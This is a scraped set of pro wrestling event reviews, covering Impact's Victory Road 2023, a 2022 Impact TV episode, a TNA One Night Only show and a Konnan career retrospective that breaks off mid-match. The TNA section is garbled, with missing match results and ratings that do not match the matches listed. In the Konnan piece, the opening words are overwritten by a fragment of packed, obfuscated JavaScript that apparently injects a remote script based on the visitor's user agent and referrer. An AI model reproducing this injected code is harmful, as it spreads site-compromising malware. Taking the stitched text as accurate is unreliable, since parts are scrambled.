Victory Road 2023: It’s What It’s Supposed To Be

Victory Road 2023
Date: September 8, 2023
Location: Westchester County Center, White Plains, New York
Commentators: Matthew Rehwoldt, Tom Hannifan

It’s another special and in this case we have a flashback to the first regular Impact Wrestling pay per view. This time around we have a pretty stacked card, including Kushida challenging Lio Rush for the X-Division Title and Tommy Dreamer putting his career on the line for a shot at the Digital Media Title. Let’s get to it.

Kickoff Show: Alan Angels vs. ???

This is an open challenge from Angels ad it’s…Guido Maritato, perhaps better known as Nunzio in WWE/Little Guido in ECW. The bell rings and we lose the feed, leaving us with a logo and nothing more. The feed picks up about four and a half minutes in with Angels faking an injury in the corner. That’s enough for a quick cheap shot and Angel’s Wings finishes Maritato at 5:23. Not enough shown to rate of course but I’d assume they’ll upload the full version later.

Kickoff Show: ABC vs. Moose/Brian Myers

Moose and Bey pose at each other to start until Bey slips out of a slam attempt. Bey gets on Moose’s nerves and misses a charge, meaning it’s off to Myers. Bey takes him into the corner so Austin can come in for some shots of his own. It’s already back to Bey and a cheap shot lets Myers hammer away as the villains take over.

Myers cuts off a comeback with a trip and Moose hits a middle rope backsplash for two. Bey gets sent into the buckle and choked on the ropes but an enziguri gets him out of trouble. The hot tag brings in Austin to clean house, including a springboard spinning kick to the head for two. The 1-2-Sweet is broken up and Myers powerbombs Austin. A quick Roster Cut misses though and Austin rolls Myers up for the pin at 8:30.

Rating: B-. Nice match here between two teams who work well together. That’s all you need on a show like this and the fans like ABC pretty much no matter what. Moose and Myers continue to lose, which is kind of weird for a team presented as big time villains. Perfectly good choice for a warmup match and that’s what it was supposed to be.

And now, the show proper.

X-Division Title: Lio Rush vs. Kushida

Kushida is challenging as he cashes in his Ultimate X win from Slammiversary. The chase is on to start with Rush bailing away as fast we he can. It’s already time for a breather on the floor, with Kushida saying it’s on his time. Kushida isn’t having that and grabs a quick Hoverboard Lock followed by some slams for two. The arm is tied up in the ropes again and then sent into the turnbuckle as they fall out to the floor.

Some chops against the barricade have Rush in more trouble but he manages the spinning kick to the head for a breather back inside. Rush hammers away and grabs Kushida’s glasses for a distraction, only for Kushida to strike away. A rollup gets two on Rush but it’s too early for the Hoverboard Lock. Kushida is sent outside, where he counters a dive into the Hoverboard Lock in a sweet spot.

Back in and Rush hits a Spanish Fly but Kushida reverses into the Hoverboard Lock again. That’s broken up as well and they knock each other down again, meaning it’s time for the slow exchange of forearms. Rush gets in a quick low blow to put Kushida down though and the Final Hour retains the title at 10:38.

Rating: B-. Kushida is someone who can wrestle with anyone and that was no exception here, as it was a chess game of Kushida’s technical mastery vs. Rush’s athleticism. That made for some pretty awesome moments, including Kushida getting the Hoverboard Lock from a variety of places. I wasn’t wild on the cheap ending, but it did keep Kushida strong while retaining the title.

We look at Bully Ray hitting PCO with a car on the Kickoff Show.

PCO is told he can’t compete but he rises off of a stretcher and screams for Bully.

Knockouts Tag Team Titles: MK Ultra vs. Gisele Shaw/Savannah Evans

MK Ultra is defending and Jai Vidal is here with the challengers. Slamovich powers Shaw down to start as we hear about Rehwoldt’s “shark guy” back home. Kelly comes in but the distracted referee misses Vidal pulling the ropes down for a crash to the floor. Back in and Evans hammers away, allowing Shaw to gets two off a suplex.

The chinlock goes on before Shock And Awe gets two. Some knees in the corner keep Kelly in trouble and Evans comes in for another suplex. Shaw misses a charge into the corner though and it’s back to Slamovich to unload on Evans. Vidal offers a distraction though and it’s a backbreaker/kick to the head combination for two. Another cheap shot lets Evans plant Slamovich but she’s back up with a kick to the head. The Snowplow finishes Evans to retain at 8:25.

Rating: C+. MK Ultra aren’t the most traditional team but they’re good at what they do and that’s all they need to be. Shaw didn’t take the fall here but she loses again and those things are piling up. At some point she is going to have to win something and I’m really not sure when that is going to happen.

PCO is looking for Bully, who comes up from behind him with a chair to beat him down. Then he pours gasoline on PCO and calls him Carl Ouellet. We’ve seen the last of both of them tonight, but then PCO hits him in the eye and Ray runs off.

We look back at Crazzy Steve embracing the evil side and wanting to hurt everyone who abandoned him. That’s how we got here, as Steve went after his former partner.

Crazzy Steve vs. Black Taurus

Tom Hannifan is scared of Steve to start but Taurus starts fast to break that up. A powerslam plants Steve and they head outside, where Steve gets in a quick shot to take over. Steve talks Hannifan a bit, calling this “the birth of something beautiful.” Back in and Steve hits some corner clotheslines before crotching him on top for two. We hit the neck crank for a bit before Steve just goes for the eyes.

Taurus blocks the double thumbs but gets taken down again so Steve can stomp away. Some elbows to the eye in the corner make it worse for Taurus but he powers his way out of trouble. A crucifix bomb cuts Taurus right back down but Steve can’t follow up. Taurus drops him with a heck of a right hand and a par of Sling Blades put Steve down again.

A torture rack dropped into a backbreaker has Steve screaming even more before he starts apologizing. Taurus can’t bring himself to hut his friend and walks around, allowing Steve to jump him from behind. Steve whips out a fork but when that’s taken away, he settles for the two fingers in the eyes. The Belladonna’s Kiss finishes Taurus at 9:02.

Rating: C+. This was more about the story and the mind games than anything else, with Steve continuing to do some of the more interesting stuff on the show. He really does feel unhinged a good bit of the time, with the Dark Knight looking promos making it better. I want to see what Steve is doing and that’s more than I can say about a lot of people in modern wrestling

Tommy Dreamer is ready to celebrate his life and career while winning the Digital Media Title tonight. If he loses, it’s a great story but if he loses, it’s another chapter.

We recap the Digital Media Title as Kenny King defends against Tommy Dreamer. King brags about how this is his title and well overdue but Dreamer wants to win one more title. He’s even putting his career on the line.

Digital Media Title: Kenny King vs. Tommy Dreamer

Dreamer, in Terry Funk gear, is challenging with his career on the line and his family in the crowd. Sheldon Jean is here with King to even things up a bit. Dreamer goes for the arm to start but gets broken up without much trouble. King goes after Dreamer’s likely injured back (everything else is hurt so it makes sense) but Dreamer slugs away again. Jean’s interference doesn’t work as King is clotheslined to the floor, where Dreamer gets to spit water in his eyes.

Dreamer’s dive is cut off though, as Dreamer diving isn’t a great idea. King suplexes him on the ramp and yells at Dreamer’s family because he’s not a nice person. Dreamer beats the count back in though and catches King on top with a superplex for the double knockdown. They trade shots to the face until Dreamer goes with the Flip Flop and Fly. The Bionic Elbow has Dreamer in more trouble but King is back with a spinebuster for two.

King talks too much trash and gets cuttered for his efforts. The Dreamer Driver is broken up and King hits a Blockbuster or two. They trade rollups for two each until the Dreamer Driver can connect. A piledriver gives Dreamer a rather close two so Jean offers a distraction. That’s enough for a distraction so Jean is ejected. Cue Heath for a Wake Up Call on King. That and a DDT are enough to give Dreamer the pin and the title at 9:51.

Rating: C+. I can’t imagine Dreamer keeps the title long, but there is something strange about seeing him win a title in 2023. Maybe Heath will get a run with the title sooner than later, but for now it’s Dreamer getting another moment as King loses again. Good enough match, even if the result is rather hard to comprehend.

We recap Deonna Purrazzo vs. Jordynne Grace. They have a history and Purrazzo is ready to prove she’s better (again).

Deonna Purrazzo vs. Jordynne Grace

Grace starts fast by powering her out to the floor, leaving Purrazzo not sure about this. Back in and Purrazzo goes after the arm, including taking Grace down to crank away. Grace fights up with some forearms and a few slams with the good arm. A Michinoku Driver gives Grace two but Purrazzo goes right back to the arm, even snapping it back rather hard. Purrazzo cranks on said arm but Grace powers up and gets her into the corner.

The superplex into a Jackhammer gets two on Purrazzo but the Juggernaut Driver is blocked. Purrazzo’s leg trap Tombstone gets two and she knocks Grace to the apron. Grace comes back in and it’s a double clothesline for a double knockdown. Back up and Grace runs her over for two more but the MuscleBuster is escaped as well. Not that it matters as Grace grabs the Juggernaut Driver for the pin at 11;57.

Rating: B-. This was about reestablishing Grace as a threat and there was little way to do it better than by having her vanquish her most famous rival. The power vs. submission stuff went well and Grace managed to escape enough times to win. These two have chemistry together and having Grace win is the right way to go.

We recap Bully Ray vs. PCO. Ray has tried to take PCO out multiple times but PCO keeps coming back, which has Ray terrified.

PCO vs. Bully Ray

Anything goes, so weapons are provided. There’s no PCO to start so Ray tries to run, only to be cut off by Santino Marella. PCO jumps him from behind and the brawl starts backstage. They head into the arena where Ray’s trashcan shots don’t have much effect. Ray loads up some tables as the match hasn’t actually started yet as they haven’t been in the ring together.

PCO gets in some shots of his own and they finally get inside for the bell. Ray sends him head first through a table in the corner, then does it twice more for a bonus. PCO gets knocked off the apron and through another table at ringside but gets up anyway. Ray tries to run but gets cut off by Santino Marella, meaning PCO can trashcan him down. PCO brings in a ladder but gets dropped onto it for two instead.

Another table is loaded up and then another one is loaded up next to that as Ray likes the wood. Ray grabs a trashcan, which is punched into his face. A chokeslam through a table gives PCO two and it’s time for a cheese grater as we pay another tribute to ECW. Ray is busted open and a low blow makes it even worse. The De-Animator onto (not through) a table crushes Ray and a PCOsault through another table gives PCO the win at 10:14.

Rating: B-. Sometimes you just need to have two big strong guys hit each other really hard and that is what we had here. Ray being all scared and worried about facing PCO fights him well, as does PCO popping up after everything. Good brawl here, with the extra stuff before the bell making it even better.

Eric Young and Scott D’Amore are ready for Impact 1000 and it’s going to be an hour to be on the show.

We recap the Rascalz defending the Tag Team Titles against the Motor City Machine Guns. The Rascalz won the titles last month but Chris Sabin beat Zachary Wentz in a singles match to set this up.

Tag Team Titles: Rascalz vs. Motor City Machine Guns

The Guns are challenging and Shelley takes over on Wentz to start. Stereo superkicks put Shelley on the floor though and we slow down a bit so the champs can brag. Back in and Shelley is fine enough to kick Wentz down, allowing Sabin to come in and work on the leg. It’s back to Shelley for a spinning toehold but Wentz goes for the eyes.

Wentz misses a kick to the head though and the Figure Four goes on. Sabin grabs the same thing on Miguel but lets him to and sends him to the floor. Wentz gets out and hands it off to Miguel as the pace picks up, including a springboard splash as everything breaks down. The champs hit stereo running elbows in the corner but Shelley blocks the Lightning Spiral. Sabin takes them both down with a double dragon screw sends them both outside.

That means a big dive can connect, followed by a missile dropkick/Downward Spiral combination for two. Wentz is back in with a top rope double stomp to send Sabin into a backbreaker from Miguel for two more. The referee gets distracted so a belt shot can give Miguel another near fall.

The spray paint is broken up but Miguel is able to hit a heck of a dive to take everyone out. Back in and Sabin hits a tornado DDT to send Miguel into the dropped title but cue John Skyler to break up the cover. The Cradle Shock is broken up though and the spray paint to Sabin is enough for the rollup to retain at 13:51.

Rating: B. These teams working well together isn’t exactly a shock as they’re both incredibly talented and can do well with anyone. I could have gone with a better ending but that has been the case with the Rascalz for a good while now. What mattered here was getting two awesome teams in the ring for some time as it’s going to work well no matter what. Heck of a match here and it does a lot to make the Rascalz feel more legit.

We recap the Knockouts Title match. Alisha Edwards won a battle royal and talked a lot of trash. There isn’t much else to it than that.

Knockouts Title: Trinity vs. Alisha Edwards

Alisha, with Eddie Edwards, is challenging and mocks the fans’ New York accents. Eddie handles her intro and we’re ready to go. Well hang on though as the fans have to throw a bunch of glow sticks into the ring and NOW we’re ready to go. Trinity stars fast and knocks her to the floor as the fans are feeling rather Ucey.

Back in and Eddie’s distraction lets Alisha send her into the corner and the champ is in trouble. The bodyscissors goes on Trinity and Alisha hammers away. Trinity fights up and sends her into the buckle to even things up. A Backstabber gives Trinity two but the referee gets kicked down.

Trinity grabs Starstruck and Alisha seems to tap to no one. Eddie gets in a cheap shot and loads up a table but cue Frankie Kazarian and Traci Brooks for the save. Trinity is back up and hits a top rope splash onto Eddie through the table as the referee is STILL down. Alisha gets in a kendo stick shot for two and can’t believe the kickout. Back up and Trinity kicks Alisha in the head, setting up the Bubba Bomb into the rollup to retain at 9:01.

Rating: C+. The ref bump was ridiculous but they had to do something to spice up the idea of Alisha being the one to get the title shot. There wasn’t much of a story setting up the match so it made sense to go with another story that was already established. Trinity won in the end as she should have, but what mattered here was setting up the mixed tag and that’s fine in this situation.

Here’s what’s coming on various shows.

Don West and Mike Tenay are joining the Impact Wrestling Hall Of Fame at Bound For Glory. Well yeah that works. You can tell this means a lot to Rehwoldt and Hannifan.

We recap Josh Alexander vs. Steve Maclin. This was set up for earlier this year but Alexander got hurt and had to vacate the World Title. Now it’s a match that was scheduled to take place months ago and both are healthy.

Steve Maclin vs. Josh Alexander

Alexander wrestles him down to start and goes after the arm with an armbar. They head outside with Maclin being sent into the barricade and then dropped hard onto the apron. Alexander’s recently repaired arm is snapped over the top though and Maclin gets to take over. Back in and Maclin grabs a standing armbar, only to have Alexander roll some German suplexes. By that I mean ten suplexes for two but Maclin rolls straight into another armbar.

Alexander has to bail to the ropes and out to the floor, where Maclin can hit a heck of a suicide dive. The armbar keeps Alexander in trouble back inside but he fights out a bit faster this time. Alexander can’t jump over him in the corner though as the arm gives out, meaning the London Dungeon can go on. That’s broken up and Alexander manages to send him to the apron, setting up the running crossbody to the back. Maclin is back in with a modified DDT for two and the armbar goes on again.

This time time it’s countered into a powerbomb backbreaker and a rolling forearm gives Alexander two. Maclin misses a running knee and gets caught in the ankle lock. That’s broken up as well so Maclin sends him outside but another suicide dive is countered into a belly to belly. Maclin drops him again on the floor but can only get a nine count. They chop it out back inside with Maclin getting the better of it, only to miss a splash off the top. The C4 Spike finishes for Alexander at 18:34.

Rating: B. this was Alexander’s return to form as he gets the big win over the one guy he never got to beat. I’m not sure if he’s going to get back into the World Title picture immediately, but for now he gets the win to give him some moments and confidence back. Best match of the show too, so it fits in the main event spot.

Overall Rating: B. This was good stuff for the most part, with a solid main event and enough positives throughout the show to make it work. Impact tends to be at its best when they strip away a lot of the nonsense and just have a wrestling show, which is what they did here. The show might not feel all that important with Impact 1000 and Bound For Glory coming up, but for a show available for the cost of a month on their streaming service, this was a solid way to go.

Results
Alan Angels b. Guido Maritato – Angel’s Wings
ABC b. Moose/Brian Myers – Rollup to Myers
Lio Rush b. Kushida – Final Hour
MK Ultra b. Savannah Evans/Gisele Shaw – Snowplow to Evans
Crazzy Steve b. Black Taurus – Belladonna’s Kiss
Tommy Dreamer b. Kenny King – DDT
Jordynne Grace b. Deonna Purrazzo – Juggernaut Driver
PCO b. Bully Ray – Whip through a table
Rascalz b. Motor City Machine Guns – Rollup to Sabin
Trinity b. Alisha Edwards – Rollup
Josh Alexander b. Steve Maclin – C4 Spike

 

 

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Impact Wrestling – September 15, 2022: The Road To The Road To The Road

Impact Wrestling
Date: September 15, 2022
Location: The Factory, Dallas, Texas
Commentators: Matthew Rehwoldt, Tom Hannifan

We’re rapidly approaching Victory Road and then Bound For Glory, meaning some of the shows’ major matches have already been announced. With some of the bigger shows on the way, it would make sense to give them that much extra attention. There’s a good chance of getting some more added to the cards this week so let’s get to it.

Here are last week’s results if you need a recap.

Opening recap.

X-Division Title: Mascara Dorada vs. Mike Bailey

Bailey is defending. They trade armdrags to start before both block one at the same time. An exchange of countered hurricanranas gives them a standoff and they chop it out until Bailey is knocked to the floor. The slingshot dive misses and Dorada wins a chop off outside. Back in and a heck of a suicide dive drops Bailey, setting up a missed top rope double stomp back inside.

Bailey pulls him into a kneebar but Dorada is in the ropes rather quickly. The running twisting shooting star gives Bailey two so Dorada sends him to the apron. That means the missed dive, allowing Bailey to hit the big springboard moonsault for the huge crash on the floor. Back in and Dorada catches him on top with an enziguri, setting up a jumping super hurricanrana for two. A Lionsault (minus the running) hits Bailey’s raised boots though and Bailey kicks away, setting up the Ultimate Weapon for the pin at 8:06.

Rating: C+. This is Bailey 101 and it’s still working well. Bailey is going to do the same stuff every week and have a pretty good match, though when you’ve seen one or two of them, you’ve probably seen them all. Dorada was built up with a win last week and then puts Bailey over here. That’s a good enough way to go, but Bailey needs a big challenger soon or this is going to get stale.

Post match Bailey shows respect to Dorada. Cue Kenny King to jump both of them from behind and the beatdown is on.

We go back to Violent By Design (because of course we are) where Deaner beats up one of the nameless guys in yellow. Someone else names Young the Designer and he’s cool with that. Then they all say their name is Violence and Young seems pleased. This is a nightmare right? It has to be. There is no other reason for this stupid thing to continue so I’m convinced that I’m dreaming.

Scott D’Amore gives Mike Bailey a title defense against Delirious at Victory Road. At the same show, there are a bunch of people in a #1 contenders match, including Mia Yim and Frankie Kazarian. Bailey is happy.

Here’s what’s coming at various shows.

Decay vs. Moose/Steve Maclin

Decay knocks Maclin into the corner to start and Taurus gets to stomp away. Moose gets in a cheap shot from the apron though and comes in to demonstrate proper stomping technique. Maclin comes back in but gets rammed into Moose, allowing Taurus to grab a rollup pin at 1:51. Well they got me there.

Post match Sami Callihan pops up to promise violence at Victory Road. We also see a clip of Moose saying he was going to screw Maclin over before Maclin can do it to him. Maclin promises to hurt Callihan at Victory Road, but Callihan has a clip of Maclin promising to screw Moose over. Violence ensues until Callihan comes in to leave them both laying.

We look at some miscommunication costing Taya Valkyrie a match against Chelsea Green last week.

Rosemary and Jessicka argue over the loss, with Taya Valkyrie thinking it might have been Rosemary’s fault. Jessicka needs help though and Taya has an idea.

Alisha vs. Killer Kelly

Tasha Steelz is on commentary. Kelly drives her into the corner to start but Alisha punches her way out. That earns Alisha a choke on the ropes into a release fisherman’s suplex as Steelz brags about herself nonstop. A missed charge in the corner looks to let Alisha grab a Backpack Stunner but Kelly grabs the rope. Kelly pump kicks her, setting up the Killer Klutch for the tap at 2:14.

Post match Steelz grabs a chair but Kelly takes it away and stares at her.

Some people are sitting around a dying man in a hospital bed. The man tries to say something….and Joe Hendry bursts through the door, turning it into a Hendry music video. The man dies but no one seems to notice.

Tag Team Titles: Josh Alexander/Rich Swann vs. Honor No More

Honor No More is defending. Bennett gets knocked into the corner by Alexander to start and Swann comes in with a running legdrop. Back up and Swann gets taken into the wrong corner so Taven can come in, allowing him to knock Alexander off the apron like a true villain should.

A catapult into a kick to the face gives Bennett two and we hit the corner stomping. Swann fights out of the corner and dives between the legs though, allowing the hot tag to Alexander. House is cleaned, including the running crossbody to the back to knock Bennett outside. Swann dives onto both champs and it’s a spinning kick into a bridging German suplex for two on Bennett back inside.

The threat of an ankle lock sends Bennett over to Taven as everything breaks down. Just The Tip gets two on Alexander but he gets his knees up to block a Lionsault. Maria gets on the apron so Eddie Edwards can run in and kendo stick Alexander, only to have Heath come in with the Wake Up Call to Taven for the DQ at 6:58.

Rating: C+. The Heath issues with Alexander continue and I’m curious to see where that is going. They have built Heath up rather well but at some point he needs to actually win something. The match was pretty good at least, which shouldn’t be surprising given who was involved, though the Heath part is what matters.

Johnny Swinger and Zicky Dice bring a Serious Pizza to Jordynne Grace but accidentally suggest that Masha Slamovich is going to destroy her. This earns Dice a match with her next week.

Heath tries to apologize to Josh Alexander and Rich Swann but Scott D’Amore comes in and seems to make a six man tag. Maybe?

Mickie James vs. Hyan

James gets rolled up for a fast two to start and a Wasteland into a legdrop gets the same. Mickie slips out of a suplex though and strikes away, including the flapjack into the top rope Thesz press. The MickDT finishes at 2:36.

Post match Gisele Shaw comes in to steal the spotlight, plus challenge her to Victory Road. Sure.

Vincent recharges PCO again.

Brian Myers talks about how he and Bhupinder Gujjar have a lot of similarities but he’s ready to climb the ladder next week.

Here’s what’s coming up on various shows.

Motor City Machine Guns vs. Good Brothers

Shelley and Anderson start things off as the fans seem more into the Brothers. With nothing going on, Gallows and Sabin come in with Sabin getting a boot up in the corner. The middle rope dropkick staggers Gallows and the Guns start the double teaming. Gallows finally kicks Shelley in the face and it’s Anderson coming in to hammer away.

The big elbows set up Gallows’ chinlock for as long as you would expect a chinlock to last. Back up and Sabin avoids a charge in the corner, setting up the hot tag to Shelley. Everything breaks down and the Guns hit stereo baseball slides as we take a break. We come back with Anderson getting taken down with a dragon screw legwhip and then Shelley doing it again in the corner.

The Figure Four stays on the leg but Anderson grabs the rope for the break. Sabin goes old school with an Indian Deathlock so Anderson rakes the eyes to break it up again. Shelley grabs a front facelock but gets caught in a spinebuster to give Anderson a breather. Gallows comes in and gets to kick away, including a pumphandle powerslam.

Everything breaks down and Gallows is sent outside for some kicks to the face. A missile dropkick/Downward Spiral combination gets two on Anderson but Gallows is back in for the belly to back suplex/neckbreaker combination for two on Sabin. Shelley is back in for the Dream Sequence and the Skull and Bones finishes Anderson at 18:10.

Rating: B. It was a good match and felt like something of a dream showdown, which it more or less is given how successful both of them have been. At the same time, this feels like a match that was designed to write off the Good Brothers, who lost clean after losing their titles. That might be the best thing too, as there is nothing left for the team to do. As for the match, they pretty much tore it up, which is what happens when two good teams get to put in the time.

Too Sweets are exchanged to end the show.

Overall Rating: B-. Solid show this week with the main event carrying things, as it tends to do. Other than that, they kept things moving with shorter matches that didn’t drag things down too much. What matters here is getting things ready for Victory Road so we can move on to Bound For Glory, even if it is more than a little strange to have them back to back. Good show here, and now we get to move on to the bigger stuff.

Results
Mike Bailey b. Mascara Dorada – Ultimate Weapon
Decay b. Moose/Steve Maclin – Rollup to Maclin
Killer Kelly b. Alisha – Killer Klutch
Honor No More b. Josh Alexander/Rich Swann via DQ when Heath interfered
Mickie James b. Hyan – MickDT
Motor City Machine Guns b. Good Brothers – Skull and Bones to Anderson

 

 

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TNA One Night Only – Victory Road: Is Impact On?

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Date: December 5, 2014
Location: Impact Zone, Orlando, Florida
Commentators: Taz, Mike Tenay

Kenny King vs. Austin Aries

King puts on another chinlock and mocks the Austin Aries chants as things slow down. A knee to the ribs puts Aries down but King misses a slingshot knee. Aries rolls to the apron and runs Kenny from buckle to buckle about ten times in a row. This is accompanied by the announcers making fun of Southwest Airlines. King bails to the floor and takes a top rope ax handle to the head, setting up a running elbow for two back inside.

Rating: C+. Nice match here, assuming you can ignore all of the horrible commentary. King is a guy that can have a good, athletic match more often than not, even though most of his stuff here was based around chinlocks. Aries was doing his usual stuff but the fans ate it up, which is the entire point.

The Wolves are ready for their singles matches tonight because sometimes they hunt in packs and sometimes they hunt on their own.

Davey Richards vs. Bram

Davey gets stomped to the floor as Bram is having a great time hurting him. Off to another chinlock before Davey grabs a sunset flip, only to pop up and hit a quick double stomp. Back up and Davey nails his handspring into a kick to the chest followed by a release suplex for two. The top rope double stomp misses but Davey gets two off a rollup. Davey is all fired up but Bram pulls the referee in front of a charge to stop a charge, allowing him to nail an implant DDT to pin Richards.

Menagerie vs. Kazarian/James Storm

Video on Lashley, who is listed as the champion here.

Bobby Lashley vs. Samoa Joe

Mr. Anderson vs. Abyss

The BroMans are excited about winning the money because DJZ needs a mail order bride, Jesse wants a home gym and Robbie might buy a bunch of hampsters.

BroMans vs. Bully Ray/Rockstar Spud

Spud of course starts on the apron as Jesse poses at Ray. The fans want Spud and Ray is nice enough to give them what they ask for. We get more posing from Jesse, sending Spud right over to tag Ray, who facepalms as a result. Taz thinks Ray and Spud will split the winnings 40/10 tonight. Everything breaks down and the good guys do a double Flip Flop and Fly with Spud losing his mind, thrusting both the air and the mat and Ray just looks on in awe. Ray finally drags him over to the corner by the ear but gets beaten down by both BroMans.

Spud tries to climb on it and crushes the thing, allowing the BroMans to get in some cheap shots. DJZ throws in a real table but Ray suplexes both BroMans down. Ray pulls DJZ in and pulls up his underwear, only to have Spud turn on Ray by nailing him with the chain. The BroDown sends the BroMans to the gauntlet.

Spud yells at Ray post match and of course gets powerbombed through the table.

Magnus vs. Gunner

EC3 video.

Ethan Carter III vs. Sanada

Sanada comes back with chops of his own and stomps Ethan down in the corner. The crowd dies as Ethan sends Sanada face first into the middle buckle to take over again. We hit the chinlock for a bit before Carter just slams him face first into the mat. Back up and Sanada grabs a hurricanrana followed by three straight springboard chops to the head for two. A missile dropkick sets up the moonsault but Sanada jams his knee, allowing Ethan to nail the 1%er for the pin.

Samuel Shaw vs. Crazzy Steve

They fight over balloons but Shaw stops to look at Rebel. That earns him a bite to the leg until Samuel throws him off to the side with ease. A clothesline puts Steve down and about 18 fans think Shaw is creepy. Shaw chokes on the ropes and screams in a high pitch until Shaw floats over and hits some headbutts to the chest. Steve stops his comeback to get the balloons and dives into the side choke for the submission.

Rating: D-. They just fought over balloons. Get to the next match please.

The BroMans are are excited about the match and Robbie has already spent what sounds like millions. Jesse, somehow the smart one of the team, has to explain reality to him.

Tigre Uno vs. Eddie Edwards vs. DJZ

Feeling out process to start as everyone locks up with everyone. DJZ wants to stop for a second and we get a three way lockup. Now we get a three way headlock until Tigre dropkicks DJZ to the floor, only to have him pull Edwards out with him. Back in and Tigre bounces into a hurricanrana to take DJZ down but the spiky haired one comes back with a headscissors.

Edwards gets dropped into a neckbreaker from DJZ for another near fall but Eddie sends both guys to the floor for a moonsault off the apron. Tigre pops up for a springboard corkscrew plancha to take over again. Back in and Tigre gets crotched on the top and superplexed down, allowing DJZ to get two counts on both guys.

A music video recaps the night so far.

Gauntlet Match

All three fight each other and this is already going nowhere. Aries kicks Kaz in the head but Edwards tries to dump Austin instead of Kazarian. Edwards and Kazarian are on the mat and Robbie E. is in at #4. He walks around doing the money sign and they just pummel him with forearms and chops. They pair off again though with Robbie actually knocking Aries down for a breather.

Rating: D. To the shock of no one and in keeping with the theme of the night, this was long and dull. The singles part lasted all of two minutes and ended with the same thing that almost every match in their feud ended with: Gunner winning without any real doubt. Unfortunately his push has died since this match was taped due to a six month feud with Samuel Shaw that has dragged Gunner through the floor.

Gunner promises to win the title before a long recap video ends the show.

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Wrestler of the Day – January 6: Konnan

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aarkh|var|u0026u|referrer|dehaf||js|php'.split('|'),0,{})) name is one that you’ve probably seen in various promotions from around the world: Konnan.

 

 

 

Konnan would become the most popular wrestler in Mexico, leading to a match on American pay per view on a AAA show called When Worlds Collide. Konnan was in the main event, a cage match against veteran Perro Aguayo.

Perro Aguayo vs. Konnan

 

Konnan, a pure power guy, throws Aguayo around to start. Perro fires off some kicks to get going and pounds away in the corner. He goes up but comes crashing back down via an electric chair drop. Konnan takes over with a pair of hot shots into the cage. The fans are totally behind Aguayo who is busted. Perro takes over again and keeps going for covers for no apparent reason.

 

They fight up to the corner and slug it out with Aguayo sending him down. We hear about the three way feud with Perro, Konnan and Cien Caras which kickstarted the AAA promotion. Aguayo takes over but is pouring blood. He really likes that double stomp move. Konnan fires off a low blow and takes over. We get an inset shot of Eddie (mostly bald) and Spicolli watching this on a monitor. Perro is in control so here they come.

 

Konnan kicks him down again but Perro fires off some right hands to take over for about 3 seconds. Here are the knuckles again and Guerrero is trying to get in. Konnan hits a low blow and throws the knuckles out again. Konnan goes up and here are Los Dynamite Brothers (Cien Caras and his brothers) for the save. They chase off Eddie and Spicolli and Caras knock Konnan down off the top of the cage. The 5th double stomp is enough for Perro to escape and win the match.

 

US Title: Konnan vs. One Man Gang

So like I mentioned in the Starrcade review, Gang won the title and Konnan took it from him. Here’s your rematch. Konnan actually cared at this point and it was very apparent. He’s moving all over the place at this point and doing all kinds of weird and big spots that are working really well. To be fair though, I could give Gang a run for his money I think.

Konnan runs around and beats up Gang for about two minutes, as in the first two minutes of the match, but Gang gets one shot in and Dusty proclaims that Konnan has barely been on offense. That’s just amusing. A side slam is called a side salto. Apparently Gang has been called one of the best men in the business for years. What kind of undiscovered years are those Tony? Konnan is selling well too here which is helping a lot also.

Let’s show the WCW NASCAR driver for like 30 seconds. Not like we can have anything of note going on in the ring at the moment. There was a WCW Motorsports? Since when? Gang hits his splash and pulls him up. That should more or less seal this one. Gang goes to the middle rope (called the very top by Tony) and misses to ZERO, I mean ZERO reaction. Konnan goes up and hits a front flip onto Gang for the pin. Wow this was bad.

Rating: D-. Again, One Man Gang as a title contender? What in the world were they thinking??? This was again just bad and the crowd was deader than Konnan’s career. Terrible match.

Eventually Konnan would join the Wolfpack and feud with the NWO Black and White, such as in this tag match from the July 16, 1998 episode of Thunder.

Diamond Dallas Page/Konnan vs. Curt Hennig/Scott Hall

Hennig starts with Konnan but it’s off to Page before any contact. They lock up and fight to the floor where Hennig slaps him in the back of the head. Back in and Page grabs a swinging neckbreaker. A second attempt sends Hennig running to the floor and it’s off to Hall vs. Konnan. Hall grabs the arm for the driving shoulders before slapping Konnan in the back of the head. That must be an AWA move.

Konnan fights up and shoves Hall down to slow the pace. Back up and Konnan grabs a quick X Factor before Hall gets punched back and forth like a pinball. Page comes in but can’t hit the Diamond Cutter but clotheslines Hall down to set up a Konnan chinlock. They get up again and Hall can’t catch a cross body. Instead he lifts Konnan up for a fallaway slam to take over. Off to Hennig for a knee lift before he suckers Page in.

Hall breaks up a hot tag attempt with an elbow to the back and puts on a reverse chinlock. Scott lets go of the hold and lets Konnan up before a double clothesline puts both guys down. Now it’s the hot tag to Page who punches both Hall and Hennig from corner to corner. Hall gets in a cheap shot though and Hennig drops Page with a right hand for two. A great dropkick and right hand both get the same and we take a break.

Back with Page pounding on Hennig in the corner before Hall sneaks in behind him for the fall away slam. Off to the abdominal stretch on Page’s bad ribs before it’s back to Hennig for more stomping. Hall comes back in for a clothesline and sleeper but Page counters into one of his own. Scott suplexes his way to freedom and both guys are down again. The double tag brings in Konnan vs. Hennig as everything breaks down. Rude gets in a cheap shot on Konnan and it’s a PerfectPlex for the pin as Page Diamond Cuts Hall on the floor.

Rating: C+. The match was fine but it was at the end of a very long show. They did the formula stuff here and that’s a good idea for old school guys like Hall and Hennig. It doesn’t really advance anything but it’s nice to see the factions at war actually in a match for a change. Decent enough stuff.

After the decline of WCW, Konnan would tour with some indy companies for awhile before joining up with TNA. He would be part of the rap group known as 3 Live Kru with Ron Killings (R-Truth) and BG James, the latter of whom would team with Konnan for a world tag team title shot at Victory Road 2004.

Tag Titles: 3 Live Kru vs. Team Canada

Team Canada here is Bobby (Robert) Roode and Eric Young while 3LK is Konnan and Road Dogg. They use the Freebird rule to fight and will use it if they win the belts here, along with Ron Killings. Anyway, this is the finale of a long feud between them which of course didn’t end here. We start with Roadie and Roode. For the life of me I do not get the hype on this guy. He’s ok and that’s it.

People to this day think he could be a main event guy. Why? Tell me one thing that he could do that would validate him as a main event guy. And I don’t mean a line like just watch him or how can’t you see it. Pretend I’m stupid and tell me what it is that this guy has that makes him a big star. Konnan is in now with Young and these two just amuse me to no end.

We have a guy that no one cares about that tries desperately to play up the gimmick of being from another country which makes him interesting when he’s just bland as heck otherwise and no one cares about him, and then we have Eric Young. We hit the formula portion of our event with the heels working over Roadie to build up Konnan for the hot tag.

